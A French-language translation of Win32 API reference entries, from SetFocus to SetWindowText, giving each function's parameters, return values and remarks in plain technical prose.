lpftCreation 	 Pointe sur une structure FILETIME laquelle contient la date et le temps à
         laquelle le fichier a été créé. Ce paramètre peut être NULL si l'application ne
         souhaite pas écrire d'information. Certains fichiers System ne supportent pas
         cette valeur de temps, c'est pourquoi il est possible d'ignorer ce paramètre.
lpftLastAccess 	 Pointe sur une structure FILETIME laquelle contient la date et le temps où
         on a eu accès pour la dernière fois au fichier. Ce paramètre peut être NULL si
         l'application ne souhaite pas écrire d'information. Certains fichiers System ne
         supportent pas cette valeur de temps, c'est pourquoi il est possible d'ignorer
         ce paramètre.
lpftLastWrite 	 Pointe sur une structure FILETIME laquelle contient la date et le temps où
         on a écrit pour la dernière fois dans le fichier. Certains fichiers System ne
         supportent pas cette valeur de temps, c'est pourquoi il est possible d'ignorer
         ce paramètre.
Retours

La valeur en retour est TRUE si la fonction est couronnée de succès, ou FALSE si une erreur s'est produite. Utilisez la fonction GetLastError pour obtenir l'information à propos de l'erreur étendue.

Voir Aussi

GetFileTime, GetFileType, GetFileSize


SetFocus (Win32)

HWND SetFocus(hwnd)

HWND hwnd;	/* handle de la fenêtre qui va obtenir le Focus */
La fonction SetFocus donne le Focus à la fenêtre donnée. La fenêtre, s'il y en avait une, qui possédait le Focus précédemment, le pert.

Paramètre 	 Description

hwnd 	 	 Identifie la fenêtre qui reçoit le Focus. Si ce paramètre est un NULL, les
         frappes sur le clavier sont ignorées.

Retours
Si cette fonction est couronnée de succès, la valeur en retour identifie la fenêtre qui possédait précédemment le Focus,. Cette valeur est un NULL s'il n'y un aucune fenêtre possédant le Focus ou bien si le paramètre hwnd est invalide.

Commentaires

Si la fenêtre identifiée par le paramètre hwnd a été créée par le lien appelant, le Focus du lien appelant est donné à la fenêtre hwnd. Autrement, le Focus du lien appelant est mis à NULL (il lui est retiré) et le Focus du lien qui a créé la fenêtre est mis à hwnd (lui est donné).

La fonction SetFocus envoie un message WM_KILLFOCUS à la fenêtre qui perd le Focus, et envoie le message WM_SETFOCUS à la fenêtre qui reçoit le Focus. Elle active également soit la fenêtre qui reçoit le Focus soit la fenêtre parente de la fenêtre qui reçoit le Focus.
Si une fenêtre est active, mais n'a pas le Focus (c'est-à-dire aucune fenêtre ne possède le Focus), n'importe quelle touche sur laquelle on appuie produira le message WM_SYSCHAR, WM_SYSKEYDOWN, ou WM_SYSKEYUP. Si la touche VK_MENU est également pressée, le paramètre lParam du message aura le bit n°30 mis à 1. Autrement, les messages qui sont produits ne mettrons pas ce Bit à 1.

Voir Aussi

GetActiveWindow, GetFocus, SetActiveWindow, SetCapture, WM_KILLFOCUS, WM_SETFOCUS, WM_SYSCHAR, WM_SYSKEYDOWN, WM_SYSKEYUP


SetForegroundWindow (new for Win32)

BOOL SetForegroundWindow(hwnd)

HWND hwnd;	/* fenêtre à placer au premier plan */
La fonction SetForegroundWindow met au premier plan le lien qui possède hwnd. L'entrée clavier (le focus) est attribuée à la fenêtre et diverses répliques visuelles sont changées pour l'utilisateur.

Paramètre 	 Description

hwnd 	 	 Identifie la fenêtre à placer au premier plan.

Retours
La valeur en retour est TRUE si la fonction est couronnée de succès, ou FALSE si une erreur s'est produite. Utilisez la fonction GetLastError pour obtenir des informations à propos de l'erreur étendue.

Commentaires

Si hwnd est sur la file d'attente actuelle et que cette file d'attente est au premier plan, alors le fait d'utiliser cette fonction est identique à l'utilisation de la fonction SetActiveWindow. Si la file d'attente actuelle à perdue le lien ou bien a reçut l'état de premier plan, alors des changements d'état se produiront à l'intérieur de la fonction SetForegroundWindow.

Voir Aussi

GetForegroundWindow


SetMenu (Win32)

BOOL SetMenu(hwnd, hmenu)

HWND hwnd;	/* handle de la fenêtre */
HMENU hmenu;	/* handle du menu */

La fonction SetMenu place un nouveau menu sur une fenêtre donnée.

Paramètre Description

hwnd Identifie la fenêtre qui va recevoir le menu.
hmenu Identifie le nouveau menu. Si ce paramètre est NULL, le menu actuel de la fenêtre (si il y en a un ) sera enlevé.

Retours

La valeur en retour est non nulle si le menu est changé. Autrement, on obtient un NULL en retour.

Commentaires

La fenêtre est automatiquement redessinée (rafaîchit) pour prendre en compte le changement du menu.

SetMenu remplace le menu précédent, s'il en avait déjà un mais ne le détruit pas. L'application doit appeler la fonction DestroyMenu pour accomplir cette tâche.

Voir Aussi

DestroyMenu, GetMenu


SetMenuItemBitmaps (Win32)

BOOL SetMenuItemBitmaps(hmenu, uItem, fuFlag, hbmUnchecked, hbmChecked)

HMENU hmenu;		/* handle du menu */
UINT uItem;		/* item qui reçoit le nouveau bitmap */
UINT fuFlag;		/* flags concernants cet Item */
HBITMAP hbmUnchecked;	/* handle du bitmap non cliqué */
HBITMAP hbmChecked;	/* handle du bitmap cliqué */

Paramètre 	Description

hmenu 	 	Identifie le menu contenant l'item qui doit recevoir le nouveau bitmaps.
uItem 	 	Spécifie l'item à modifier, son interprétation dépend du paramètre fuFlag.
fuFlag 	 	Spécifie de quel manière le paramètre uItem est interprété. Le paramètre
        fuFlag peut être une des valeurs suivantes :

        Valeur 	 	Signification

        MF_BYCOMMAND 	Le paramètre uItem représente le n°ID de l'item.
        MF_BYPOSITION 	Le paramètre uItem représente la position zéro-basée
                relative de l'item. (Zéro-basée signifie que le premier Item
                du menu à pour position 0….donc uItem vaudra 0).

hbmUnchecked 	Identifie le bitmap visible lorsque l'item n'est pas cliqué.
hbmChecked 	Identifie le bitmap visible lorsque l'item est cliqué.

Retours

La valeur en retour est TRUE si la fonction est couronnée de succès et FALSE si une erreur se produit. Utilisez la fonction GetLastError pour obtenir l'information sur l'erreur étendue.

Commentaires

Si soit le paramètre hbmUnchecked soit le paramètre hbmChecked est NULL, alors Windows n'affichera rien à côté de l'Item pour l'état correspondant. Si ces deux paramètres sont NULL, alors Windows affiche son bitmap par défaut lorsque l'item est cliqué et l'enlève quand l'item n'est plus cliqué.

Quand le menu est détruit, ces bitmaps ne sont pas détruit (il restent mappés en mémoire); c'est du ressort de l'application de les détruire. La fonction GetMenuCheckMarkDimensions retrouve les dimensions de la zone cliquable utilisée par défaut pour les items. L'application doit utiliser ces valeurs pour déterminer la taille appropriée des bitmaps fournis à cette fonction.

Voir Aussi

GetMenuCheckMarkDimensions


SetParent (Win32)

HWND SetParent(hwndChild, hwndNewParent)

HWND hwndChild;		/* handle of window whose parent is changing	*/
HWND hwndNewParent;	/* handle of new parent window	*/

La fonction SetParent attribue une autre fenêtre parente à une fenêtre d'enfant.

Paramètre 	 Description

hwndChild 	 Identifie la fenêtre enfant.
hwndNewParent    Identifie la nouvelle fenêtre parente. Si ce paramètre est NULL, la fenêtre
         du bureau de Windows devient la nouvelle fenêtre parente.

Retours

Si la fonction est couronnée de succès la valeur en retour est la fenêtre parente précédente.
Autrement, la valeur en retour est NULL.

Commentaires
Une application peut se servir de cette fonction pour attribuer une nouvelle fenêtre parente à une fenêtre popup, OVERLAPPED ou enfant. La nouvelle fenêtre parente et la fenêtre enfant doivent appartenir à la même application.
Si la fenêtre identifiée par le paramètre hwndChild est visible, Windows s'acquitte de repeindre la nouvelle fenêtre.

Voir Aussi

GetParent


SetSystemTime (new for Win32)

BOOL SetSystemTime(lpst)

LPSYSTEMTIME lpst;	/* adresse du system time (date de votre ordinateur) */

La fonction SetSystemTime sert à modifier la date et l'heure de votre système (l'horloge
de l'ordinateur).

Paramètre 	 Description

lpst 	 Pointe sur une structure SYSTEMTIME laquelle contient la date et l'heure pour le
     système actuel. Le membre wDayOfWeek de la structure SYSTEMTIME est ignoré.
Retours

La valeur en retour est TRUE si la fonction est couronnée de succès, ou FALSE si une erreur s'est produite. Utilisez la fonction GetLastError pour obtenir l'information à propos de l'erreur étendue.

Commentaires

L'application doit avoir le privilège SeSystemTimePrivilege pour que cette fonction réussisse. Ce privilège est non actif par défaut. Employez la fonction AdjustTokenPrivileges pour permettre ce privilège puis aussi pour le désactiver une fois que vous aurez modifié la date et le temps (l'heure) de votre système.

Voir Aussi

GetSystemTime, AdjustTokenPrivileges, SYSTEMTIME


SetTimer

UINT SetTimer (

hWnd hWnd,		  // handle de la fenêtre qui contrôle le minuteur.
UINT nIDEvent,	 	  // n°ID du minuteur.
UINT uElapse,		  // valeur du temps mort avant échéance du timer.
TIMERPROC lpTimerFunc	  // adresse de la procédure du minuteur.
);
La fonction SetTimer crée un minuteur avec la valeur de temps mort indiquée.

Paramètres :

hWnd

Identifie la fenêtre qui doit être associée au minuteur. Cette fenêtre doit appartenir au lien appelant. Si ce paramètre est NULL, aucune fenêtre n'est associée au minuteur et le paramètre nIDEvent sera ignoré.

nIDEvent

Représente un n°ID de minuteur différent de zéro. Si le paramètre hWnd est NULL, ce paramètre est ignoré.

uElapse

Représente le temps avant que le minuteur n'arrive à terme, en millisecondes.

lpTimerFunc

Pointe sur la fonction qui doit être notifié lorsque le temps s'est écoulé. Pour plus d'information à propos de cette fonction, voyez plutôt TimerProc.

Si lpTimerFunc est NULL, le système poste un message WM_TIMER dans la file d'attente de l'application. Le membre hWnd de la structure MESSAGE contient la valeur du paramètre hWnd.

Valeurs de Retour :

Si la fonction réussit, la valeur en retour est un entier identifiant le nouveau minuteur. Une application peut passer cette valeur, ou le pointer de la chaîne de caractères, si elle existe, à la fonction KillTimer pour détruire ce minuteur.
Si la fonction ne réussit pas à créer un minuteur, la valeur de retour est zéro.

Remarques :

Une application peut traiter des messages WM_TIMER par l'inclusion d'une déclaration de cas WM_TIMER dans la procédure de fenêtre ou en spécifiant une fonction 'CallBack' TimerProc en créant le minuteur. Quand vous spécifiez une 'fonction CallBack' TimerProc, la procédure de fenêtre par défaut appelle la fonction CallBack quand elle traite WM_TIMER. Donc, vous avez besoin d'expédier des messages dans le lien appelant, même lorsque vous employez TimerProc au lieu du traitement de WM_TIMER.

Le paramètre wParam du message WM_TIMER contient la valeur du paramètre nIDEvent.

Voir Aussi :

KillTimer, MESSAGE, TimerProc, WM_TIMER


SetUnhandledExceptionFilter (Win32)

LPTOP_LEVEL_EXCEPTION_FILTER SetUnhandledExceptionFilter(

    LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter  // fonction de filtre d'exception
   );
La fonction SetUnhandledExceptionFilter laisse une application prendre la place de l'Exception Handler (qui tourne derrière Windows, à un plus haut niveau que les progs Win32).
Après l'appel de cette fonction, si une exception se produit dans un process qui n'est pas en train de se faire Debugger et que l'exception n'est pas traitée par le filtre d'exception, ce filtre appellera la fonction de filtre d'exception indiquée par le paramètre lpTopLevelExceptionFilter.

Paramètres

lpTopLevelExceptionFilter

Fournit l'adresse d'une fonction de ''filtre d'exception'' de haut niveau, laquelle sera appelée à chaque fois que la fonction UnhandledExceptionFilter obtient la main et que le process n'est pas en train d'être Debuggé. Une valeur NULL dans ce paramètre indique le traitement par défaut dans UnhandledExceptionFilter.
La fonction de filtre présente la syntaxe en accord avec celle de UnhandledExceptionFilter : elle prend un seul paramètre de type LPEXCEPTION_POINTERS et retourne une valeur de type LONG (une valeur 32bit). La fonction de filtre doit retourner une des valeurs qui suit :
     Valeur 	   		 Signification

     EXCEPTION_EXECUTE_HANDLER 	 Retour venant de UnhandledExceptionFilter et exécute
                      l'Exception Handler qui lui est associé. C'est
                     habituellement le résultat avec la terminaison
                     du process.
     EXCEPTION_CONTINUE_EXECUTION 	 Retour venant de UnhandledExceptionFilter et continue
                      l'exécution du point de l'exception (Redémarre après
                     qu'une exception se soit produite). Notez que la
                     fonction de filtre est libre de modifier l'état de
                     suite en modifiant l'information d'exception fournie
                     par son paramètre LPEXCEPTION_POINTERS.
     EXCEPTION_CONTINUE_SEARCH 	 Continuent l'exécution normale de
                      UnhandledExceptionFilter. Ceci signifie qu'elle obéir
                     au Flags SetErrorMod, ou qu'elle invoque la Messagebox
                     d'Erreur d'application.

Valeurs en Retour

La fonction SetUnhandledExceptionFilter retourne l'adresse du filtre d'exception précédemment établi par cette fonction. Une valeur en retour NULL signifie qu'il n'y a aucun Exception Handler actuel au plus haut niveau.

Remarques
L'édition de SetUnhandledExceptionFilter remplace le filtre d'exception existant au plus haut niveau pour tous les liens existants et tous les liens futurs dans le process appelant.
L'Exception Handler indiqué par lpTopLevelExceptionFilter est exécuté dans le contexte du lien qui a causé la faute. Ceci peut affecter la capacité de l'Exception Handler à se remettre de certaines exceptions, comme une pile invalide.

Voir Aussi

UnhandledExceptionFilter


SetWindowLong (Win32)

LONG SetWindowLong(hwnd, nIndex, lNewLong)

HWND hwnd;	/* handle de la fenêtre */
int nIndex;	/* offset de la valeur à passer */
LONG lNewLong;	/* nouvelle valeur */
Cette fonction change l'attribut d'une fenêtre indiquée par le paramètre hwnd.
Cette fonction est unicode ou ansi. Cette information est nécessaire pour la sousclassification, ainsi le système (Windows) sait si la procédure de sousclassification s'attend à recevoir des messages de fenêtre (WM_) unicode ou ansi.

Paramètre 	 Description

hwnd 	 	 Identifie la fenêtre.
nIndex 	 	 Spécifie offset (de type byte) de la valeur à retrouver. Ça peut également
          être une des valeurs suivantes :

            Valeur 	 Signification

         GWL_EXSTYLE 	 Style-Extra de fenêtre.
         GWL_STYLE 	 Style de Fenêtre.
         GWL_WNDPROC 	 Pointer Long(32bits) sur la fonction de fenêtre. (pointer
                  sur le nom de la procédure WinProc)
         GWL_HINSTANCE 	 handle du programme (instance).
         GWL_HWNDPARENT  handle de la fenêtre parente, s'il y en a une. La fonction
                  SetParent change la fenêtre parente d'une fenêtre d'enfant.
                 L'application ne doit pas appeler la fonction SetWindowLong
                 pour changer le parent d'une fenêtre enfant.
         GWL_ID 	 'Control ID' d'une fenêtre enfant (le n°ID d'un bouton par
                  exemple).
         GWL_USERDATA 	 Cet index être utilisé pour avoir accès à un LONG (une
                  valeur 32bits comme var1 dd ? par exemple) qui est
                 réservé dans chaque structure de fenêtre. Ce LONG est
                 réservé spécialement pour l'application en question.
                 En général une application ne doit pas stocker de valeurs
                 dans ce LONG si la fenêtre associée a été créée par une
                 quelconque autre application.

lNewLong 	 Est la valeur de remplacement.

Retours

La valeur en retour est la valeur précédente, celle qui vient d'être remplacée.

Commentaires
Si la fonction SetWindowLong est employé avec l'index GWL_WNDPROC pour obtenir une nouvelle fonction de fenêtre, alors cette fonction doit avoir la forme d'une fonction de fenêtre et être exporté dans un fichier de définition (*.def). Pour plus d'informations, voyez la fonction RegisterClass, sur ce sujet.

L'appel SetWindowLong avec l'index GCL_WNDPROC crée une sous-classe de la classe de fenêtre, d'habitude on s'en sert pour créer la fenêtre. L'application ne doit pas essayer de sous-classer une fenêtre créée par un autre process parce que ça ne marchera pas.
Pour avoir accès à une des valeurs réservées supplémentaires de quatre octets lorsque la structure 'Window Class' a été créée, on utilise un offset positif en tant qu'index dans le paramètre nIndex, en commençant à zéro pour la première valeur de quatre octets dans l'espace supplémentaire, puis 4 pour la valeur suivante de quatre octets et cetera.

Voir Aussi

RegisterClass, GetWindowLong, GetWindowWord, SetWindowWord


SetWindowPos (Win32)

BOOL SetWindowPos(hwnd, hwndInsertAfter, x, y, cx, cy, fuFlags)

HWND hwnd;		/* handle de la fenêtre */
HWND hwndInsertAfter;	/* ordre de placement de la fenêtre(vis à vis de son handle) */
int x;			/* position horizontal */
int y;			/* position vertical */
int cx;			/* largeur */
int cy;			/* hauteur */
UINT fuFlags;	   	/* flags de positionnement de la fenêtre */
Cette fonction change la 'taille', 'la position' et 'l'ordre le classement' d'une fenêtre enfant, popup ou bien d'une fenêtre de plus haut niveau (une fenêtre parente par exemple). Les fenêtres enfants, popup et de plus haut niveau sont réorganisées selon leur apparence à l'écran; la fenêtre topmost(de plus haut niveau) reçoit le rang le plus haut et elle est maintenant la première fenêtre dans la liste. Cet ordre est enregistré dans une liste de fenêtre.

Paramètre 	 Description

hwnd 	 	 Identifie la fenêtre qui sera placée.
hwndInsertAfter  Identifie la fenêtre devant laquelle sera placée la fenêtre 'hwnd'.
         Ce paramètre doit être soit le handle d'une fenêtre soit une des valeurs
         qui suivent :

         Valeur 	 Signification

         HWND_BOTTOM 	 Place la fenêtre en fin de liste (la dernier de la pile) sous
                  toutes les autres fenêtres qui sont à l'écran. Si hwnd
                 identifie une fenêtre topmost, la fenêtre perd son statut
                 topmost et le système place cette fenêtre derrière toutes
                 les autres fenêtres.
         HWND_TOP 	 Place la fenêtre au sommet de la pile (au premier plan sur
                  l'écran).
         HWND_TOPMOST 	 Place la fenêtre au-dessus de toutes les fenêtres excepté
                  au dessus des fenêtres topmost. La fenêtre garde sa position
                 topmost même si elle est désactivée.
         HWND_NOTOPMOST  Place la fenêtre au-dessus de toutes les fenêtres
                  non-topmost (c'est-à-dire derrière les fenêtres topmost).
                 Ce flag n'a aucun effet si déjà la fenêtre n'est pas une
                 fenêtre topmost. Ça revient au même que le Flag précédent
                 sauf  qu'ici au lieu de monter dans le classement on descend,
                 mais au final on se retrouve à la même position.

         Voyez la section des Commentaires qui suit pour comprendre les règles
         d'utilisation de ce paramètre.

X 	 	 Spécifie la nouvelle coordonnée X du coin supérieur-gauche de la fenêtre.
Y 	 	 Spécifie la nouvelle coordonnée Y du coin supérieur-gauche de la fenêtre.
cx 	 	 Spécifie la nouvelle largeur de la fenêtre.
cy 	 	 Spécifie la nouvelle hauteur de la fenêtre.
fuFlags 	 Spécifie un classement par taille de fenêtre, ainsi que des options de
         position. Ce paramètre peut être une combinaison des valeurs suivantes :

         Valeur 	 Signification

         SWP_DRAWFRAME 	 Dessine un encadrement (défini dans la description de la
                   'Window Class') autour de la fenêtre.
         SWP_FRAMECHANGED Envoie le message WM_NCCALCSIZE à la fenêtre même si sa
                  taille n'a pas à faire d'être modifiée. Si ce flag n'est pas
                 spécifié, WM_NCCALCSIZE est envoyé uniquement lorsque la
                 taille de la fenêtre doit être modifiée.
         SWP_HIDEWINDOW  Cache la fenêtre.
         SWP_NOACTIVATE  Désactive la fenêtre. Si ce flag n'est pas mis, la fenêtre
                  est activée et déplacée sur le dessus de la pile des fenêtres
                 topmost ou bien non-topmost (c'est selon la valeur du paramètre
                 hwndInsertAfter).
         SWP_NOCOPYBITS  Renonce au contenu entier du secteur client. Si ce flag n'est
                  pas spécifié, le contenu valable du secteur client est
                 sauvegardé et recopié ensuite dans le secteur client une fois
                 que la fenêtre a été déplacée ou redimensionnée.
         SWP_NOMOVE 	 Conserve la position actuelle (ignore les paramètres x et y).
         SWP_NOSIZE 	 Conserve la taille actuelle (ignore les paramètres cx et cy).
         SWP_NOREDRAW 	 Ne rafraîchit pas la fenêtre. Si ce flag est mis, aucun
                  nouveau rafraîchissement de n'importe quelle sorte ne se
                 produit. Ça s'applique au secteur client, au secteur
                 non-client (ce qui inclut le titre et des barres de
                 déplacement) et n'importe quelle autre partie de la fenêtre
                 parente découverte, suite au déplacement de la fenêtre.
                 Lorsque ce flag est mis, l'application doit explicitement
                 infirmer ou rafraîchir n'importe quelles parties de la fenêtre.
         SWP_NOZORDER 	 Conserve le classement actuel de la fenêtre vis à vis des
                  autres (ignore le paramètre hwndInsertAfter).
         SWP_SHOWWINDOW  Affiche la fenêtre.

Retours
La valeur en retour est TRUE si la fonction est couronnée de succès ou FALSE si une erreur s'est produite. Pour obtenir des informations à propos de l'erreur étendue, utilisez la fonction GetLastError.

Commentaires

Si les Flags SWP_SHOWWINDOW ou SWP_HIDEWINDOW sont utilisés, la fenêtre ne peut pas être déplacée ou de redimensionnée.

Les coordonnées concernants les fenêtres enfants sont toujours exprimées en tant que coordonnées client (ayant pour origine le coin supérieur-gauche du secteur client de la fenêtre parente).
On peut attribuer un statu 'topmost' à une fenêtre soit en mettant le paramètre hwndInsertAfter à HWND_TOPMOST et en s'assurant que le flag SWP_NOZORDER ne soit pas utilisé, soit en lui donnant l'ordre de plus haut niveau (le Z-ordre) comme ça elle sera placée au-dessus de la pile des fenêtres 'topmost' existantes. Lorsqu'on fait en sorte qu'une fenêtre devienne une topmost, ses objets enfants (ex : ses boutons) le deviennent aussi. Ses fenêtres enfants restent inchangés.
Si ni le Flag SWP_NOACTIVATE ni le Flag SWP_NOZORDER n'ont étés spécifiés (c'est-à-dire lorsque l'application demande qu'une fenêtre soit simultanément activée et déplacée dans le Z-ordre(à la position) indiqué), la valeur indiquée dans hwndInsertAfter est utilisée seulement dans les circonstances suivantes :

- Aucun HWND_TOPMOST ou HWND_NOTOPMOST n'ont étés spécifiés dans le paramètre hwndInsertAfter.
- La fenêtre indiquée dans le paramètre hwnd n'est pas la fenêtre active.

Une application ne peut pas activer une fenêtre inactive sans la mettre au premier plan également. Les applications peuvent changer le classement d'une fenêtre activée sans restrictions ou activer une fenêtre et ensuite la déplacer au sommet de la pile des fenêtre topmost ou non-topmost.
Une fenêtre topmost n'est plus topmost si elle est déplacée au fond (HWND_BOTTOM) du Z-ordre(du classement) ou bien si elle est placée derrière une fenêtre non-topmost. Lorsque une fenêtre topmost est déclassée en une non-topmost, tout ce qui lui appartient ou la constitue perdent leur attribut topmost.
Une fenêtre non-topmost peut posséder une fenêtre topmost, mais l'inverse n'est pas possible. N'importe quelle fenêtre (par exemple, une DialogBox) appartenant à une fenêtre topmost est également une fenêtre topmost, ce qui fait que tous leurs objets enfants (ex : ses boutons) restent au-dessus de leur parente.

Voir Aussi

MoveWindow


SetWindowsHook (Win32)

HHOOK SetWindowsHook(nHookType, pfnHookProc)

int nHookType;		/* type de hook à installer */
HOOKPROC pfnHookProc;	/* adresse de la procedure de hook */
La fonction SetWindowsHook est désuète, mais elle a été conservée pour assurer la compatibilité avec les anciennes versions Windows3.0 et plus antérieurs encore. Vos nouvelles applications Win32 doivent employer la fonction SetWindowsHookEx.
La fonction SetWindowsHook installe une procédure de hook dans une chaîne de hook.
C'est une fonction Unicode ou ANSI. Cette information est nécessaire pour l'accrochage, ainsi le système sait que la procédure de hook attend des messages Unicode ou ANSI lorsqu'il reçoit des messages de fenêtre.

Paramètre 	 Description

nHookType 	 Spécifie le type de procédure de hook à installer. Ça peut être unes des
         valeurs suivantes :

         Valeur 	 Signification

         WH_CallWndProc	 Installe une procédure de hook laquelle espionne les messages
                  envoyés à une procédure de fenêtre. Pour plus d'informations,
                 voyez la description de la procédure de hook CallWndProc.
         WH_CBT		 Installe une procédure de hook, laquelle reçoit des messages
                  d'avis qui sont utiles pour une application (CBT). Pour plus
                 d'informations, voyez la description de la procédure de hook
                 CBTProc.
         WH_DEBUG	 Installe une procédure de hook, laquelle est utile pour
                  débugger des procédures de hook. Pour plus d'informations,
                 voyez la description de la procédure de hook DebugProc.
         WH_GETMESSAGE	 Installe une procédure de hook, laquelle espionne les
                  messages qui sont postés dans une file d'attente des messages.
                 Pour plus d'informations, voyez la description de la procédure
                 de hook GetMsgProc.
         WH_JOURNALPLAYBACK	  Installe une procédure de hook, laquelle poste des
                  messages qui ont été précédemment enregistrés par une
                 procédure de hook WH_JOURNALRECORD. Pour plus d'informations,
                 voyez la description de la procédure de hook
                 JournalPlaybackProc.
         WH_JOURNALRECORD Installe une procédure de hook, laquelle enregistre des
                  messages d'entrée postés dans la file d'attente des messages.
                 Ce hook est utile pour les macros Recording. Pour plus
                 d'informations, voyer la description de la procédure de hook
                 JournalRecordProc.
         WH_KEYBOARD	 Installe une procédure de hook, laquelle espionne les messages
                  de frappe (clavier). Pour plus d'informations, voyez la
                 description de la procédure de hook KeyboardProc.
         WH_MOUSE	 Installe une procédure de hook qui espionne les messages
                  souris. Pour plus d'informations, voyez la description de la
                 procédure de hook MouseProc.
         WH_MSGFILTER 	 Installe une procédure de hook, laquelle contrôle les
                  messages produits suite à un événement d'entrée dans une
                 DialogBox, une MessageBox, un Menu, ou une Barre de Défilement.
                 La procédure de hook espionne uniquement les messages de
                 l'application qui a installé la procédure de hook. Pour plus
                 d'informations, voyez la description de la procédure de hook
                 MessageProc.
         WH_SHELL	 Installe une procédure de hook, laquelle reçoit des messages
                  d'avis qui sont utiles à l'applications Shell. Pour plus
                 d'informations, voyez la description de la procédure de hook
                 ShellProc. WH_SYSMSGFILTER Installe une procédure de hook,
                 laquelle espionne les messages produits suite à un événement
                 d'entrée dans une DialogBox, une MessageBox, un Menu, ou une
                 Barre de Défilement. La procédure de hook espionne absolument
                 tous les messages des applications dans le système. Pour plus
                 d'informations, voyez la description de la procédure de hook
                 SysMsgProc.

pfnHookProc 	 Pointe sur la procédure de hook à installer.

Retours
La valeur en retour est le handle de la procédure de hook installée, si la fonction est couronnée de succès. Autrement, c'est un NULL.

Commentaires

Le hook WH_CALLWNDPROC affectera les performances du système. Il est fourni pour le but de unique de pouvoir débugger. Il est appelé pendant le traitement SendMessage par l'expéditeur du message de fenêtre.

Les procédures de hook installées par SetWindowsHook sont seulement appelées dans le contexte du lien qui a installé la procédure.

Voir Aussi

CallNextHookEx, DefHookProc, MessageBox, PeekMessage, Post-message, SendMessage, SetWindowsHookEx, UnhookWindowsHook, UnhookWindowsHookEx


SetWindowsHookEx (Win32)

HHOOK SetWindowsHookEx(idHook, hkprc, hMod, dwThreadID)

int idHook;	/* type de hook à installer */
HOOKPROC hkprc;	/* adresse de la procédure de hook */
HANDLE hMod;	/* handle de l'Istance de l'application */
DWORD dwThreadID;	/* lien du hook à installer */
La fonction SetWindowsHookEx installe une procédure de hook dans une chaîne de hook. Une application installe une procédure de hook pour que le système espionne certains types d'événements. Une procédure de hook peut espionner des événements associés soit à un lien spécifique soit de tous les liens présents.

Paramètre 	 Description

idHook 	 	 Spécifie le type de procédure de hook à installer. Ça peut être unes des
         valeurs suivantes :

         Valeur 	 Signification

         WH_CallWndProc	 Installe une procédure de hook laquelle espionne les messages
                  envoyés à une procédure de fenêtre. Pour plus d'informations,
                 voyez la description de la procédure de hook CallWndProc.
         WH_CBT		 Installe une procédure de hook, laquelle reçoit des messages
                  d'avis qui sont utiles pour une application (CBT). Pour plus
                 d'informations, voyez la description de la procédure de hook
                 CBTProc.
         WH_DEBUG	 Installe une procédure de hook, laquelle est utile pour
                  débugger des procédures de hook. Pour plus d'informations,
                 voyez la description de la procédure de hook DebugProc.
         WH_GETMESSAGE	 Installe une procédure de hook, laquelle espionne les
                  messages qui sont postés dans une file d'attente des messages.
                 Pour plus d'informations, voyez la description de la procédure
                 de hook GetMsgProc.
         WH_JOURNALPLAYBACK	  Installe une procédure de hook, laquelle poste des
                  messages qui ont été précédemment enregistrés par une
                 procédure de hook WH_JOURNALRECORD. Pour plus d'informations,
                 voyez la description de la procédure de hook
                 JournalPlaybackProc.
         WH_JOURNALRECORD Installe une procédure de hook, laquelle enregistre des
                  messages d'entrée postés dans la file d'attente des messages.
                 Ce hook est utile pour les macros Recording. Pour plus
                 d'informations, voyer la description de la procédure de hook
                 JournalRecordProc.
         WH_KEYBOARD	 Installe une procédure de hook, laquelle espionne les messages
                  de frappe (clavier). Pour plus d'informations, voyez la
                 description de la procédure dehook KeyboardProc.
         WH_MOUSE	 Installe une procédure de hook qui espionne les messages
                  souris. Pour plus d'informations, voyez la description de la
                 procédure de hook MouseProc.
         WH_MSGFILTER 	 Installe une procédure de hook, laquelle contrôle les
                  messages produits suite à un événement d'entrée dans une
                 DialogBox, une MessageBox, un Menu, ou une Barre de Défilement.
                 La procédure de hook espionne uniquement les messages de
                 l'application qui a installé la procédure de hook. Pour plus
                 d'informations, voyez la description de la procédure de hook
                 MessageProc.
         WH_SHELL	 Installe une procédure de hook, laquelle reçoit des messages
                  d'avis qui sont utiles à l'applications Shell. Pour plus
                 d'informations, voyez la description de la procédure de hook
                 ShellProc. WH_SYSMSGFILTER Installe une procédure de hook,
                 laquelle espionne les messages produits suite à un événement
                 d'entrée dans une DialogBox, une MessageBox, un Menu, ou une
                 Barre de Défilement. La procédure de hook espionne absolument
                 tous les messages des applications dans le système. Pour plus
                 d'informations, voyez la description de la procédure de hook
                 SysMsgProc.

hkprc 	 	 Pointe sur  la procédure de hook. Si le paramètre dwThreadID est NULL ou
         représente le n°ID d'un lien créé par un process différent, le paramètre
         hkprc doit pointer sur une procédure de hook appartenant à une bibliothèque de
         liaison dynamique (DLL). Autrement, le paramètre hkprc peut pointer sur une
         procédure de hook appartenant au process actuel.

hMod 	 	 Identifie la DLL contenant la procédure de hook pointée par le paramètre hkprc.
         Le paramètre hMod doit être mis à NULL si le paramètre dwThreadID représente un
         lien créé par le process actuel et que la procédure de hook se trouve dans le
         process actuel.

dwThreadID 	 Est le n°ID du lien avec lequel la procédure de hook doit être associée. Si ce
         paramètre est NULL, la procédure de hook est associée à tous les liens
         existants.

Retours
Une erreur peut arriver si le paramètre hMod est NULL et que le paramètre dwThreadId est NULL aussi ou bien si il représente d'un lien créé par un autre process.

Voir Aussi

CallNextHookEx, UnhookWindowsHookEx


SetWindowText (Win32)

BOOL SetWindowText(hwnd, lpsz)

HWND hwnd;	/* handle de la fenêtre */
LPCTSTR lpsz;	/* adresse de la chaîne de caractères (du texte) */
La fonction SetWindowText place le texte qui est contenu dans un buffer à la place du titre de la fenêtre donnée ou bien dans le Control donné (ex : sur un bouton, dans une zone de saisie de texte = Edit Control, sur le secteur Client…).

Paramètre 	 Description

hwnd 	 	 Identifie la fenêtre ou bien le control dont le texte doit être modifié.
lpsz 	 	 Pointe sur une chaîne de caractères terminée par un NULL.

Retours

La valeur en retour est TRUE si la fonction est couronnée de succès, ou FALSE si une erreur
s'est produite. Utilisez la fonction GetLastError pour obtenir des informations à propos de
l'erreur étendue.

Commentaires

Cette fonction envoie le message WM_SETTEXT à la fenêtre ou au Control ciblé.
Si la fenêtre indiquée par le paramètre hwnd est un Control, alors le texte sera déposé sur ce Control. Cependant, si la fenêtre indiquée est un Control de type liste (ListView) créé grâce au style WS_CAPTION, alors dans ce cas unique SetWindowText déposera le texte en tant que titre de ce Control et non pas en tant que des entrées(des lignes) de la liste.
